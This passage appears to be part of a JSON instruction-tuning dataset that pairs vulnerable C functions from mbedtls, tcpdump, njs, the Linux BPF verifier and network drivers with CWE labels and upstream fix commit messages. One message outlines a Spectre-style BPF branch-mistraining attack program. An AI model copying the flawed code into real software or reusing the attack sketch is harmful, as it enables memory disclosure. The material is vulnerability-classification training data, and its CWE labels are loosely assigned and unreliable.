buf, buflen, \"CTR_DRBG - Input too large (Entropy + additional)\" );\n    if( use_ret == -(MBEDTLS_ERR_CTR_DRBG_FILE_IO_ERROR) )\n        mbedtls_snprintf( buf, buflen, \"CTR_DRBG - Read/write error in file\" );\n#endif /* MBEDTLS_CTR_DRBG_C */\n\n#if defined(MBEDTLS_DES_C)\n    if( use_ret == -(MBEDTLS_ERR_DES_INVALID_INPUT_LENGTH) )\n        mbedtls_snprintf( buf, buflen, \"DES - The data input has an invalid length\" );\n#endif /* MBEDTLS_DES_C */\n\n#if defined(MBEDTLS_ENTROPY_C)\n    if( use_ret == -(MBEDTLS_ERR_ENTROPY_SOURCE_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"ENTROPY - Critical entropy source failure\" );\n    if( use_ret == -(MBEDTLS_ERR_ENTROPY_MAX_SOURCES) )\n        mbedtls_snprintf( buf, buflen, \"ENTROPY - No more sources can be added\" );\n    if( use_ret == -(MBEDTLS_ERR_ENTROPY_NO_SOURCES_DEFINED) )\n        mbedtls_snprintf( buf, buflen, \"ENTROPY - No sources have been added to poll\" );\n    if( use_ret == -(MBEDTLS_ERR_ENTROPY_NO_STRONG_SOURCE) )\n        mbedtls_snprintf( buf, buflen, \"ENTROPY - No strong sources have been added to poll\" );\n    if( use_ret == -(MBEDTLS_ERR_ENTROPY_FILE_IO_ERROR) )\n        mbedtls_snprintf( buf, buflen, \"ENTROPY - Read/write error in file\" );\n#endif /* MBEDTLS_ENTROPY_C */\n\n#if defined(MBEDTLS_GCM_C)\n    if( use_ret == -(MBEDTLS_ERR_GCM_AUTH_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"GCM - Authenticated decryption failed\" );\n    if( use_ret == -(MBEDTLS_ERR_GCM_BAD_INPUT) )\n        mbedtls_snprintf( buf, buflen, \"GCM - Bad input parameters to function\" );\n#endif /* MBEDTLS_GCM_C */\n\n#if defined(MBEDTLS_HMAC_DRBG_C)\n    if( use_ret == -(MBEDTLS_ERR_HMAC_DRBG_REQUEST_TOO_BIG) )\n        mbedtls_snprintf( buf, buflen, \"HMAC_DRBG - Too many random requested in single call\" );\n    if( use_ret == -(MBEDTLS_ERR_HMAC_DRBG_INPUT_TOO_BIG) )\n        mbedtls_snprintf( buf, buflen, \"HMAC_DRBG - Input too large (Entropy + additional)\" );\n    if( use_ret == -(MBEDTLS_ERR_HMAC_DRBG_FILE_IO_ERROR) )\n        mbedtls_snprintf( buf, buflen, \"HMAC_DRBG - Read/write error in file\" );\n    if( use_ret == -(MBEDTLS_ERR_HMAC_DRBG_ENTROPY_SOURCE_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"HMAC_DRBG - The entropy source failed\" );\n#endif /* MBEDTLS_HMAC_DRBG_C */\n\n#if defined(MBEDTLS_NET_C)\n    if( use_ret == -(MBEDTLS_ERR_NET_SOCKET_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"NET - Failed to open a socket\" );\n    if( use_ret == -(MBEDTLS_ERR_NET_CONNECT_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"NET - The connection to the given server / port failed\" );\n    if( use_ret == -(MBEDTLS_ERR_NET_BIND_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"NET - Binding of the socket failed\" );\n    if( use_ret == -(MBEDTLS_ERR_NET_LISTEN_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"NET - Could not listen on the socket\" );\n    if( use_ret == -(MBEDTLS_ERR_NET_ACCEPT_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"NET - Could not accept the incoming connection\" );\n    if( use_ret == -(MBEDTLS_ERR_NET_RECV_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"NET - Reading information from the socket failed\" );\n    if( use_ret == -(MBEDTLS_ERR_NET_SEND_FAILED) )\n        mbedtls_snprintf( buf, buflen, \"NET - Sending information through the socket failed\" );\n    if( use_ret == -(MBEDTLS_ERR_NET_CONN_RESET) )\n        mbedtls_snprintf( buf, buflen, \"NET - Connection was reset by peer\" );\n    if( use_ret == -(MBEDTLS_ERR_NET_UNKNOWN_HOST) )\n        mbedtls_snprintf( buf, buflen, \"NET - Failed to get an IP address for the given hostname\" );\n    if( use_ret == -(MBEDTLS_ERR_NET_BUFFER_TOO_SMALL) )\n        mbedtls_snprintf( buf, buflen, \"NET - Buffer is too small to hold the data\" );\n    if( use_ret == -(MBEDTLS_ERR_NET_INVALID_CONTEXT) )\n        mbedtls_snprintf( buf, buflen, \"NET - The context is invalid, eg because it was free()ed\" );\n#endif /* MBEDTLS_NET_C */\n\n#if defined(MBEDTLS_OID_C)\n    if( use_ret == -(MBEDTLS_ERR_OID_NOT_FOUND) )\n        mbedtls_snprintf( buf, buflen, \"OID - OID is not found\" );\n    if( use_ret == -(MBEDTLS_ERR_OID_BUF_TOO_SMALL) )\n        mbedtls_snprintf( buf, buflen, \"OID - output buffer is too small\" );\n#endif /* MBEDTLS_OID_C */\n\n#if defined(MBEDTLS_PADLOCK_C)\n    if( use_ret == -(MBEDTLS_ERR_PADLOCK_DATA_MISALIGNED) )\n        mbedtls_snprintf( buf, buflen, \"PADLOCK - Input data should be aligned\" );\n#endif /* MBEDTLS_PADLOCK_C */\n\n#if defined(MBEDTLS_THREADING_C)\n    if( use_ret == -(MBEDTLS_ERR_THREADING_FEATURE_UNAVAILABLE) )\n        mbedtls_snprintf( buf, buflen, \"THREADING - The selected feature is not available\" );\n    if( use_ret == -(MBEDTLS_ERR_THREADING_BAD_INPUT_DATA) )\n        mbedtls_snprintf( buf, buflen, \"THREADING - Bad input parameters to function\" );\n    if( use_ret == -(MBEDTLS_ERR_THREADING_MUTEX_ERROR) )\n        mbedtls_snprintf( buf, buflen, \"THREADING - Locking / unlocking / free failed with error code\" );\n#endif /* MBEDTLS_THREADING_C */\n\n#if defined(MBEDTLS_XTEA_C)\n    if( use_ret == -(MBEDTLS_ERR_XTEA_INVALID_INPUT_LENGTH) )\n        mbedtls_snprintf( buf, buflen, \"XTEA - The data input has an invalid length\" );\n#endif /* MBEDTLS_XTEA_C */\n    // END generated code\n\n    if( strlen( buf ) != 0 )\n        return;\n\n    mbedtls_snprintf( buf, buflen, \"UNKNOWN ERROR CODE (%04X)\", use_ret );\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-287', 'CWE-284'], 'message': 'Only return VERIFY_FAILED from a single point\n\nEverything else is a fatal error. Also improve documentation about that for\nthe vrfy callback.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ikev2_ID_print(netdissect_options *ndo, u_char tpay,\n\t\tconst struct isakmp_gen *ext,\n\t\tu_int item_len _U_, const u_char *ep _U_,\n\t\tuint32_t phase _U_, uint32_t doi _U_,\n\t\tuint32_t proto _U_, int depth _U_)\n{\n\tstruct ikev2_id id;\n\tint id_len, idtype_len, i;\n\tunsigned int dumpascii, dumphex;\n\tconst unsigned char *typedata;\n\n\tND_TCHECK(*ext);\n\tUNALIGNED_MEMCPY(&id, ext, sizeof(id));\n\tikev2_pay_print(ndo, NPSTR(tpay), id.h.critical);\n\n\tid_len = ntohs(id.h.len);\n\n\tND_PRINT((ndo,\" len=%d\", id_len - 4));\n\tif (2 < ndo->ndo_vflag && 4 < id_len) {\n\t\tND_PRINT((ndo,\" \"));\n\t\tif (!rawprint(ndo, (const uint8_t *)(ext + 1), id_len - 4))\n\t\t\tgoto trunc;\n\t}\n\n\tidtype_len =id_len - sizeof(struct ikev2_id);\n\tdumpascii = 0;\n\tdumphex   = 0;\n\ttypedata  = (const unsigned char *)(ext)+sizeof(struct ikev2_id);\n\n\tswitch(id.type) {\n\tcase ID_IPV4_ADDR:\n\t\tND_PRINT((ndo, \" ipv4:\"));\n\t\tdumphex=1;\n\t\tbreak;\n\tcase ID_FQDN:\n\t\tND_PRINT((ndo, \" fqdn:\"));\n\t\tdumpascii=1;\n\t\tbreak;\n\tcase ID_RFC822_ADDR:\n\t\tND_PRINT((ndo, \" rfc822:\"));\n\t\tdumpascii=1;\n\t\tbreak;\n\tcase ID_IPV6_ADDR:\n\t\tND_PRINT((ndo, \" ipv6:\"));\n\t\tdumphex=1;\n\t\tbreak;\n\tcase ID_DER_ASN1_DN:\n\t\tND_PRINT((ndo, \" dn:\"));\n\t\tdumphex=1;\n\t\tbreak;\n\tcase ID_DER_ASN1_GN:\n\t\tND_PRINT((ndo, \" gn:\"));\n\t\tdumphex=1;\n\t\tbreak;\n\tcase ID_KEY_ID:\n\t\tND_PRINT((ndo, \" keyid:\"));\n\t\tdumphex=1;\n\t\tbreak;\n\t}\n\n\tif(dumpascii) {\n\t\tND_TCHECK2(*typedata, idtype_len);\n\t\tfor(i=0; i \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'CVE-2017-13690/IKEv2: Fix some bounds checks.\n\nUse a pointer of the correct type in ND_TCHECK(), or use ND_TCHECK2()\nand provide the correct length.\n\nWhile we're at it, remove the blank line between some checks and the\nUNALIGNED_MEMCPY()s they protect.\n\nAlso, note the places where we print the entire payload.\n\nThis fixes a buffer over-read discovered by Bhargava Shastry,\nSecT/TU Berlin.\n\nAdd a test using the capture file supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: njs_object_iterate_reverse(njs_vm_t *vm, njs_iterator_args_t *args,\n    njs_iterator_handler_t handler)\n{\n    double              idx;\n    int64_t             i, from, to, length;\n    njs_int_t           ret;\n    njs_array_t         *array, *keys;\n    njs_value_t         *entry, *value, prop, character, string_obj;\n    const u_char        *p, *end, *pos;\n    njs_string_prop_t   string_prop;\n    njs_object_value_t  *object;\n\n    value = args->value;\n    from = args->from;\n    to = args->to;\n\n    if (njs_is_array(value)) {\n        array = njs_array(value);\n\n        from += 1;\n\n        while (from-- > to) {\n            if (njs_slow_path(!array->object.fast_array)) {\n                goto process_object;\n            }\n\n            if (njs_fast_path(from < array->length\n                              && njs_is_valid(&array->start[from])))\n            {\n                ret = handler(vm, args, &array->start[from], from);\n\n            } else {\n                entry = njs_value_arg(&njs_value_invalid);\n                ret = njs_value_property_i64(vm, value, from, &prop);\n                if (njs_slow_path(ret != NJS_DECLINED)) {\n                    if (ret == NJS_ERROR) {\n                        return NJS_ERROR;\n                    }\n\n                    entry = ∝\n                }\n\n                ret = handler(vm, args, entry, from);\n            }\n\n            if (njs_slow_path(ret != NJS_OK)) {\n                if (ret == NJS_DONE) {\n                    return NJS_DONE;\n                }\n\n                return NJS_ERROR;\n            }\n        }\n\n        return NJS_OK;\n    }\n\n    if (njs_is_string(value) || njs_is_object_string(value)) {\n\n        if (njs_is_string(value)) {\n            object = njs_object_value_alloc(vm, NJS_OBJ_TYPE_STRING, 0, value);\n            if (njs_slow_path(object == NULL)) {\n                return NJS_ERROR;\n            }\n\n            njs_set_object_value(&string_obj, object);\n\n            args->value = &string_obj;\n        }\n        else {\n            value = njs_object_value(value);\n        }\n\n        length = njs_string_prop(&string_prop, value);\n        end = string_prop.start + string_prop.size;\n\n        if ((size_t) length == string_prop.size) {\n            /* Byte or ASCII string. */\n\n            p = string_prop.start + from;\n\n            i = from + 1;\n\n            while (i-- > to) {\n                /* This cannot fail. */\n                (void) njs_string_new(vm, &character, p, 1, 1);\n\n                ret = handler(vm, args, &character, i);\n                if (njs_slow_path(ret != NJS_OK)) {\n                    if (ret == NJS_DONE) {\n                        return NJS_DONE;\n                    }\n\n                    return NJS_ERROR;\n                }\n\n                p--;\n            }\n\n        } else {\n            /* UTF-8 string. */\n\n            p = njs_string_offset(string_prop.start, end, from);\n            p = njs_utf8_next(p, end);\n\n            i = from + 1;\n\n            while (i-- > to) {\n                pos = njs_utf8_prev(p);\n\n                /* This cannot fail. */\n                (void) njs_string_new(vm, &character, pos, p - pos , 1);\n\n                ret = handler(vm, args, &character, i);\n                if (njs_slow_path(ret != NJS_OK)) {\n                    if (ret == NJS_DONE) {\n                        return NJS_DONE;\n                    }\n\n                    return NJS_ERROR;\n                }\n\n                p = pos;\n            }\n        }\n\n        return NJS_OK;\n    }\n\n    if (!njs_is_object(value)) {\n        return NJS_OK;\n    }\n\nprocess_object:\n\n    if (!njs_fast_object(from - to)) {\n        keys = njs_array_indices(vm, value);\n        if (njs_slow_path(keys == NULL)) {\n            return NJS_ERROR;\n        }\n\n        i = keys->length;\n\n        while (i > 0) {\n            idx = njs_string_to_index(&keys->start[--i]);\n\n            if (idx < to || idx > from) {\n                continue;\n            }\n\n            ret = njs_iterator_object_handler(vm, handler, args,\n                                              &keys->start[i], idx);\n            if (njs_slow_path(ret != NJS_OK)) {\n                njs_array_destroy(vm, keys);\n                return ret;\n            }\n        }\n\n        njs_array_destroy(vm, keys);\n\n        return NJS_OK;\n    }\n\n    i = from + 1;\n\n    while (i-- > to) {\n        ret = njs_iterator_object_handler(vm, handler, args, NULL, i);\n        if (njs_slow_path(ret != NJS_OK)) {\n            return ret;\n        }\n    }\n\n    return NJS_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416', 'CWE-703'], 'message': 'Fixed Array.prototype.lastIndexOf() with unicode string as \"this\".\n\nPreviously, when lastIndexOf() was called with unicode string as \"this\"\nargument and a negative \"fromIndex\" argument null-pointer dererence\nmight occur because njs_string_offset() was called with invalid index\nvalue whereas njs_string_offset() should always be called with valid\nindex argument.\n\nThe fix is to verify that from index is valid.\n\nThis closes #482 issue on Github.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int check_cond_jmp_op(struct bpf_verifier_env *env,\n\t\t\t     struct bpf_insn *insn, int *insn_idx)\n{\n\tstruct bpf_verifier_state *this_branch = env->cur_state;\n\tstruct bpf_verifier_state *other_branch;\n\tstruct bpf_reg_state *regs = this_branch->frame[this_branch->curframe]->regs;\n\tstruct bpf_reg_state *dst_reg, *other_branch_regs, *src_reg = NULL;\n\tu8 opcode = BPF_OP(insn->code);\n\tbool is_jmp32;\n\tint pred = -1;\n\tint err;\n\n\t/* Only conditional jumps are expected to reach here. */\n\tif (opcode == BPF_JA || opcode > BPF_JSLE) {\n\t\tverbose(env, \"invalid BPF_JMP/JMP32 opcode %x\\n\", opcode);\n\t\treturn -EINVAL;\n\t}\n\n\tif (BPF_SRC(insn->code) == BPF_X) {\n\t\tif (insn->imm != 0) {\n\t\t\tverbose(env, \"BPF_JMP/JMP32 uses reserved fields\\n\");\n\t\t\treturn -EINVAL;\n\t\t}\n\n\t\t/* check src1 operand */\n\t\terr = check_reg_arg(env, insn->src_reg, SRC_OP);\n\t\tif (err)\n\t\t\treturn err;\n\n\t\tif (is_pointer_value(env, insn->src_reg)) {\n\t\t\tverbose(env, \"R%d pointer comparison prohibited\\n\",\n\t\t\t\tinsn->src_reg);\n\t\t\treturn -EACCES;\n\t\t}\n\t\tsrc_reg = ®s[insn->src_reg];\n\t} else {\n\t\tif (insn->src_reg != BPF_REG_0) {\n\t\t\tverbose(env, \"BPF_JMP/JMP32 uses reserved fields\\n\");\n\t\t\treturn -EINVAL;\n\t\t}\n\t}\n\n\t/* check src2 operand */\n\terr = check_reg_arg(env, insn->dst_reg, SRC_OP);\n\tif (err)\n\t\treturn err;\n\n\tdst_reg = ®s[insn->dst_reg];\n\tis_jmp32 = BPF_CLASS(insn->code) == BPF_JMP32;\n\n\tif (BPF_SRC(insn->code) == BPF_K) {\n\t\tpred = is_branch_taken(dst_reg, insn->imm, opcode, is_jmp32);\n\t} else if (src_reg->type == SCALAR_VALUE &&\n\t\t   is_jmp32 && tnum_is_const(tnum_subreg(src_reg->var_off))) {\n\t\tpred = is_branch_taken(dst_reg,\n\t\t\t\t       tnum_subreg(src_reg->var_off).value,\n\t\t\t\t       opcode,\n\t\t\t\t       is_jmp32);\n\t} else if (src_reg->type == SCALAR_VALUE &&\n\t\t   !is_jmp32 && tnum_is_const(src_reg->var_off)) {\n\t\tpred = is_branch_taken(dst_reg,\n\t\t\t\t       src_reg->var_off.value,\n\t\t\t\t       opcode,\n\t\t\t\t       is_jmp32);\n\t} else if (reg_is_pkt_pointer_any(dst_reg) &&\n\t\t   reg_is_pkt_pointer_any(src_reg) &&\n\t\t   !is_jmp32) {\n\t\tpred = is_pkt_ptr_branch_taken(dst_reg, src_reg, opcode);\n\t}\n\n\tif (pred >= 0) {\n\t\t/* If we get here with a dst_reg pointer type it is because\n\t\t * above is_branch_taken() special cased the 0 comparison.\n\t\t */\n\t\tif (!__is_pointer_value(false, dst_reg))\n\t\t\terr = mark_chain_precision(env, insn->dst_reg);\n\t\tif (BPF_SRC(insn->code) == BPF_X && !err &&\n\t\t    !__is_pointer_value(false, src_reg))\n\t\t\terr = mark_chain_precision(env, insn->src_reg);\n\t\tif (err)\n\t\t\treturn err;\n\t}\n\tif (pred == 1) {\n\t\t/* only follow the goto, ignore fall-through */\n\t\t*insn_idx += insn->off;\n\t\treturn 0;\n\t} else if (pred == 0) {\n\t\t/* only follow fall-through branch, since\n\t\t * that's where the program will go\n\t\t */\n\t\treturn 0;\n\t}\n\n\tother_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx,\n\t\t\t\t  false);\n\tif (!other_branch)\n\t\treturn -EFAULT;\n\tother_branch_regs = other_branch->frame[other_branch->curframe]->regs;\n\n\t/* detect if we are comparing against a constant value so we can adjust\n\t * our min/max values for our dst register.\n\t * this is only legit if both are scalars (or pointers to the same\n\t * object, I suppose, but we don't support that right now), because\n\t * otherwise the different base pointers mean the offsets aren't\n\t * comparable.\n\t */\n\tif (BPF_SRC(insn->code) == BPF_X) {\n\t\tstruct bpf_reg_state *src_reg = ®s[insn->src_reg];\n\n\t\tif (dst_reg->type == SCALAR_VALUE &&\n\t\t    src_reg->type == SCALAR_VALUE) {\n\t\t\tif (tnum_is_const(src_reg->var_off) ||\n\t\t\t    (is_jmp32 &&\n\t\t\t     tnum_is_const(tnum_subreg(src_reg->var_off))))\n\t\t\t\treg_set_min_max(&other_branch_regs[insn->dst_reg],\n\t\t\t\t\t\tdst_reg,\n\t\t\t\t\t\tsrc_reg->var_off.value,\n\t\t\t\t\t\ttnum_subreg(src_reg->var_off).value,\n\t\t\t\t\t\topcode, is_jmp32);\n\t\t\telse if (tnum_is_const(dst_reg->var_off) ||\n\t\t\t\t (is_jmp32 &&\n\t\t\t\t  tnum_is_const(tnum_subreg(dst_reg->var_off))))\n\t\t\t\treg_set_min_max_inv(&other_branch_regs[insn->src_reg],\n\t\t\t\t\t\t    src_reg,\n\t\t\t\t\t\t    dst_reg->var_off.value,\n\t\t\t\t\t\t    tnum_subreg(dst_reg->var_off).value,\n\t\t\t\t\t\t    opcode, is_jmp32);\n\t\t\telse if (!is_jmp32 &&\n\t\t\t\t (opcode == BPF_JEQ || opcode == BPF_JNE))\n\t\t\t\t/* Comparing for equality, we can combine knowledge */\n\t\t\t\treg_combine_min_max(&other_branch_regs[insn->src_reg],\n\t\t\t\t\t\t    &other_branch_regs[insn->dst_reg],\n\t\t\t\t\t\t    src_reg, dst_reg, opcode);\n\t\t\tif (src_reg->id &&\n\t\t\t    !WARN_ON_ONCE(src_reg->id != other_branch_regs[insn->src_reg].id)) {\n\t\t\t\tfind_equal_scalars(this_branch, src_reg);\n\t\t\t\tfind_equal_scalars(other_branch, &other_branch_regs[insn->src_reg]);\n\t\t\t}\n\n\t\t}\n\t} else if (dst_reg->type == SCALAR_VALUE) {\n\t\treg_set_min_max(&other_branch_regs[insn->dst_reg],\n\t\t\t\t\tdst_reg, insn->imm, (u32)insn->imm,\n\t\t\t\t\topcode, is_jmp32);\n\t}\n\n\tif (dst_reg->type == SCALAR_VALUE && dst_reg->id &&\n\t    !WARN_ON_ONCE(dst_reg->id != other_branch_regs[insn->dst_reg].id)) {\n\t\tfind_equal_scalars(this_branch, dst_reg);\n\t\tfind_equal_scalars(other_branch, &other_branch_regs[insn->dst_reg]);\n\t}\n\n\t/* detect if R == 0 where R is returned from bpf_map_lookup_elem().\n\t * NOTE: these optimizations below are related with pointer comparison\n\t *       which will never be JMP32.\n\t */\n\tif (!is_jmp32 && BPF_SRC(insn->code) == BPF_K &&\n\t    insn->imm == 0 && (opcode == BPF_JEQ || opcode == BPF_JNE) &&\n\t    reg_type_may_be_null(dst_reg->type)) {\n\t\t/* Mark all identical registers in each branch as either\n\t\t * safe or unknown depending R == 0 or R != 0 conditional.\n\t\t */\n\t\tmark_ptr_or_null_regs(this_branch, insn->dst_reg,\n\t\t\t\t      opcode == BPF_JNE);\n\t\tmark_ptr_or_null_regs(other_branch, insn->dst_reg,\n\t\t\t\t      opcode == BPF_JEQ);\n\t} else if (!try_match_pkt_pointers(insn, dst_reg, ®s[insn->src_reg],\n\t\t\t\t\t   this_branch, other_branch) &&\n\t\t   is_pointer_value(env, insn->dst_reg)) {\n\t\tverbose(env, \"R%d pointer comparison prohibited\\n\",\n\t\t\tinsn->dst_reg);\n\t\treturn -EACCES;\n\t}\n\tif (env->log.level & BPF_LOG_LEVEL)\n\t\tprint_verifier_state(env, this_branch->frame[this_branch->curframe]);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-203'], 'message': 'bpf: Fix leakage under speculation on mispredicted branches\n\nThe verifier only enumerates valid control-flow paths and skips paths that\nare unreachable in the non-speculative domain. And so it can miss issues\nunder speculative execution on mispredicted branches.\n\nFor example, a type confusion has been demonstrated with the following\ncrafted program:\n\n  // r0 = pointer to a map array entry\n  // r6 = pointer to readable stack slot\n  // r9 = scalar controlled by attacker\n  1: r0 = *(u64 *)(r0) // cache miss\n  2: if r0 != 0x0 goto line 4\n  3: r6 = r9\n  4: if r0 != 0x1 goto line 6\n  5: r9 = *(u8 *)(r6)\n  6: // leak r9\n\nSince line 3 runs iff r0 == 0 and line 5 runs iff r0 == 1, the verifier\nconcludes that the pointer dereference on line 5 is safe. But: if the\nattacker trains both the branches to fall-through, such that the following\nis speculatively executed ...\n\n  r6 = r9\n  r9 = *(u8 *)(r6)\n  // leak r9\n\n... then the program will dereference an attacker-controlled value and could\nleak its content under speculative execution via side-channel. This requires\nto mistrain the branch predictor, which can be rather tricky, because the\nbranches are mutually exclusive. However such training can be done at\ncongruent addresses in user space using different branches that are not\nmutually exclusive. That is, by training branches in user space ...\n\n  A:  if r0 != 0x0 goto line C\n  B:  ...\n  C:  if r0 != 0x0 goto line D\n  D:  ...\n\n... such that addresses A and C collide to the same CPU branch prediction\nentries in the PHT (pattern history table) as those of the BPF program's\nlines 2 and 4, respectively. A non-privileged attacker could simply brute\nforce such collisions in the PHT until observing the attack succeeding.\n\nAlternative methods to mistrain the branch predictor are also possible that\navoid brute forcing the collisions in the PHT. A reliable attack has been\ndemonstrated, for example, using the following crafted program:\n\n  // r0 = pointer to a [control] map array entry\n  // r7 = *(u64 *)(r0 + 0), training/attack phase\n  // r8 = *(u64 *)(r0 + 8), oob address\n  // [...]\n  // r0 = pointer to a [data] map array entry\n  1: if r7 == 0x3 goto line 3\n  2: r8 = r0\n  // crafted sequence of conditional jumps to separate the conditional\n  // branch in line 193 from the current execution flow\n  3: if r0 != 0x0 goto line 5\n  4: if r0 == 0x0 goto exit\n  5: if r0 != 0x0 goto line 7\n  6: if r0 == 0x0 goto exit\n  [...]\n  187: if r0 != 0x0 goto line 189\n  188: if r0 == 0x0 goto exit\n  // load any slowly-loaded value (due to cache miss in phase 3) ...\n  189: r3 = *(u64 *)(r0 + 0x1200)\n  // ... and turn it into known zero for verifier, while preserving slowly-\n  // loaded dependency when executing:\n  190: r3 &= 1\n  191: r3 &= 2\n  // speculatively bypassed phase dependency\n  192: r7 += r3\n  193: if r7 == 0x3 goto exit\n  194: r4 = *(u8 *)(r8 + 0)\n  // leak r4\n\nAs can be seen, in training phase (phase != 0x3), the condition in line 1\nturns into false and therefore r8 with the oob address is overridden with\nthe valid map value address, which in line 194 we can read out without\nissues. However, in attack phase, line 2 is skipped, and due to the cache\nmiss in line 189 where the map value is (zeroed and later) added to the\nphase register, the condition in line 193 takes the fall-through path due\nto prior branch predictor training, where under speculation, it'll load the\nbyte at oob address r8 (unknown scalar type at that point) which could then\nbe leaked via side-channel.\n\nOne way to mitigate these is to 'branch off' an unreachable path, meaning,\nthe current verification path keeps following the is_branch_taken() path\nand we push the other branch to the verification stack. Given this is\nunreachable from the non-speculative domain, this branch's vstate is\nexplicitly marked as speculative. This is needed for two reasons: i) if\nthis path is solely seen from speculative execution, then we later on still\nwant the dead code elimination to kick in in order to sanitize these\ninstructions with jmp-1s, and ii) to ensure that paths walked in the\nnon-speculative domain are not pruned from earlier walks of paths walked in\nthe speculative domain. Additionally, for robustness, we mark the registers\nwhich have been part of the conditional as unknown in the speculative path\ngiven there should be no assumptions made on their content.\n\nThe fix in here mitigates type confusion attacks described earlier due to\ni) all code paths in the BPF program being explored and ii) existing\nverifier logic already ensuring that given memory access instruction\nreferences one specific data structure.\n\nAn alternative to this fix that has also been looked at in this scope was to\nmark aux->alu_state at the jump instruction with a BPF_JMP_TAKEN state as\nwell as direction encoding (always-goto, always-fallthrough, unknown), such\nthat mixing of different always-* directions themselves as well as mixing of\nalways-* with unknown directions would cause a program rejection by the\nverifier, e.g. programs with constructs like 'if ([...]) { x = 0; } else\n{ x = 1; }' with subsequent 'if (x == 1) { [...] }'. For unprivileged, this\nwould result in only single direction always-* taken paths, and unknown taken\npaths being allowed, such that the former could be patched from a conditional\njump to an unconditional jump (ja). Compared to this approach here, it would\nhave two downsides: i) valid programs that otherwise are not performing any\npointer arithmetic, etc, would potentially be rejected/broken, and ii) we are\nrequired to turn off path pruning for unprivileged, where both can be avoided\nin this work through pushing the invalid branch to the verification stack.\n\nThe issue was originally discovered by Adam and Ofek, and later independently\ndiscovered and reported as a result of Benedict and Piotr's research work.\n\nFixes: b2157399cc98 (\"bpf: prevent out-of-bounds speculation\")\nReported-by: Adam Morrison \nReported-by: Ofek Kirzner \nReported-by: Benedict Schlueter \nReported-by: Piotr Krysiuk \nSigned-off-by: Daniel Borkmann \nReviewed-by: John Fastabend \nReviewed-by: Benedict Schlueter \nReviewed-by: Piotr Krysiuk \nAcked-by: Alexei Starovoitov '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void ifb_setup(struct net_device *dev)\n{\n\t/* Initialize the device structure. */\n\tdev->destructor = free_netdev;\n\tdev->netdev_ops = &ifb_netdev_ops;\n\n\t/* Fill in device structure with ethernet-generic values. */\n\tether_setup(dev);\n\tdev->tx_queue_len = TX_Q_LIMIT;\n\n\tdev->features |= IFB_FEATURES;\n\tdev->vlan_features |= IFB_FEATURES;\n\n\tdev->flags |= IFF_NOARP;\n\tdev->flags &= ~IFF_MULTICAST;\n\tdev->priv_flags &= ~IFF_XMIT_DST_RELEASE;\n\trandom_ether_addr(dev->dev_addr);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-264'], 'message': 'net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared\n\nAfter the last patch, We are left in a state in which only drivers calling\nether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real\nhardware call ether_setup for their net_devices and don't hold any state in\ntheir skbs.  There are a handful of drivers that violate this assumption of\ncourse, and need to be fixed up.  This patch identifies those drivers, and marks\nthem as not being able to support the safe transmission of skbs by clearning the\nIFF_TX_SKB_SHARING flag in priv_flags\n\nSigned-off-by: Neil Horman \nCC: Karsten Keil \nCC: \"David S. Miller\" \nCC: Jay Vosburgh \nCC: Andy Gospodarek \nCC: Patrick McHardy \nCC: Krzysztof Halasa \nCC: \"John W. Linville\" \nCC: Greg Kroah-Hartman \nCC: Marcel Holtmann \nCC: Johannes Berg \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ar6000_create_ap_interface(struct ar6_softc *ar, char *ap_ifname)\n{\n    struct net_device *dev;\n    struct ar_virtual_interface *arApDev;\n\n    dev = alloc_etherdev(sizeof(struct ar_virtual_interface));\n    if (dev == NULL) {\n        AR_DEBUG_PRINTF(ATH_DEBUG_ERR,(\"ar6000_create_ap_interface: can't alloc etherdev\\n\"));\n        return A_ERROR;\n    } \n    \n    ether_setup(dev);\n    init_netdev(dev, ap_ifname);\n\n    if (register_netdev(dev)) {\n        AR_DEBUG_PRINTF(ATH_DEBUG_ERR,(\"ar6000_create_ap_interface: register_netdev failed\\n\"));\n        return A_ERROR;\n    }\n\n    arApDev = netdev_priv(dev);\n    arApDev->arDev = ar;\n    arApDev->arNetDev = dev;\n    arApDev->arStaNetDev = ar->arNetDev;\n\n    ar->arApDev = arApDev;\n    arApNetDev = dev;\n\n    /* Copy the MAC address */\n    memcpy(dev->dev_addr, ar->arNetDev->dev_addr, AR6000_ETH_ADDR_LEN);\n\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': 